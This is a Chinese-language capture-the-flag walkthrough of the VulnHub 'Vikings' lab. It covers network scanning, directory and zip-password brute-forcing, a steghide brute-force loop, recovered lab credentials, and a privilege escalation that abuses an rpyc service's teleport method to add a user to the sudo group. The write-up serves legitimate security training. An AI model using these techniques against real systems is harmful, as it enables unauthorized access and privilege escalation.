靶场下载地址:
https://download.vulnhub.com/vikings/Vikings.ova
信息搜集
一、Nmap进行扫描
nmap -sP 192.168.106.0/24 #对自己的靶机网段进行存活探测,获取靶机地址
nmap -T4 -A -p- 192.168.106.132 #对目标进行全端口扫描
二、WEB服务探测
访问页面发现site目录,点击查看后获取到一个新的目录信息
直接探测页面没有发现什么信息,对目标进行目录爆破
探测发现:http://192.168.106.132/site/war.txt
获取到了一个新的目录war-is-over
尝试base64解解码,通过解码后下载出一个zip文件
其中的文件需要密码才可以解压查看
对zip文件进行解码密码爆破,解压密码为:ragnarok123
解压下来后是一张图片
查看隐写文件,发现需要密码
可以使用shell命令爆破密码
for i in $(cat "dict.txt"); do steghide extract king -p $i; done
使用binwalk对king包含文件进行分析
binwalk -B king
使用binwalk对king文件进行提取
binwalk -e king --run-as=root
查看提取到的文件
zip文件内容与user中内容一致
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
猜测floki是用户名,f@m0usboatbuilde7 为密码进行ssh连接
查看用户下的所有文件内容
通过提示需要使用Collatz 猜想,使用第29个素数为初始值
第29个素数为:109
python实现Collatz 猜想:
def collatz_conjecture(i):
c = [i]
while i != 1:
if i % 2 == 1:
i = i * 3 + 1
else:
i = i // 2
if i < 256:
c.append(i)
return c
starting_number = 109
resulting_sequence = collatz_conjecture(starting_number)
print(resulting_sequence)
CyberChef的From Decimal模块转换为asc字符,选择Comma逗号分割
CyberChef再加入Strings模块,显示可打印字符,选择最短字符为1
将结果拼接去掉换行符,获取到一个新的字符串
mR)|>^/Gky[gz=.F#j5P(
使用这个字符串为密码对所有可以登录的用户进行登录
成功使用ragnar用户登录成功
三、提权
通过读取.profile的内容发现,rpyc_classic.py脚本可以使用sudo程序
用户有执行权限但是没有修改权限,读取脚本发现使用了rpyc模块
rpyc默认监听在18812端口上,可用通过构造teleport方法运行系统命令
构造攻击脚本:(将ragnar用户增加sudo权限)
cat exp.py
import rpyc
def shell():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
sd = conn.teleport(shell)
sd()
python3 shell.py #执行脚本后重新使用ragnar账号进行登录
重新登录后直接使用sudo权限提示为root用户
原文始发于微信公众号(渗透笔记):VIKINGS靶场实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论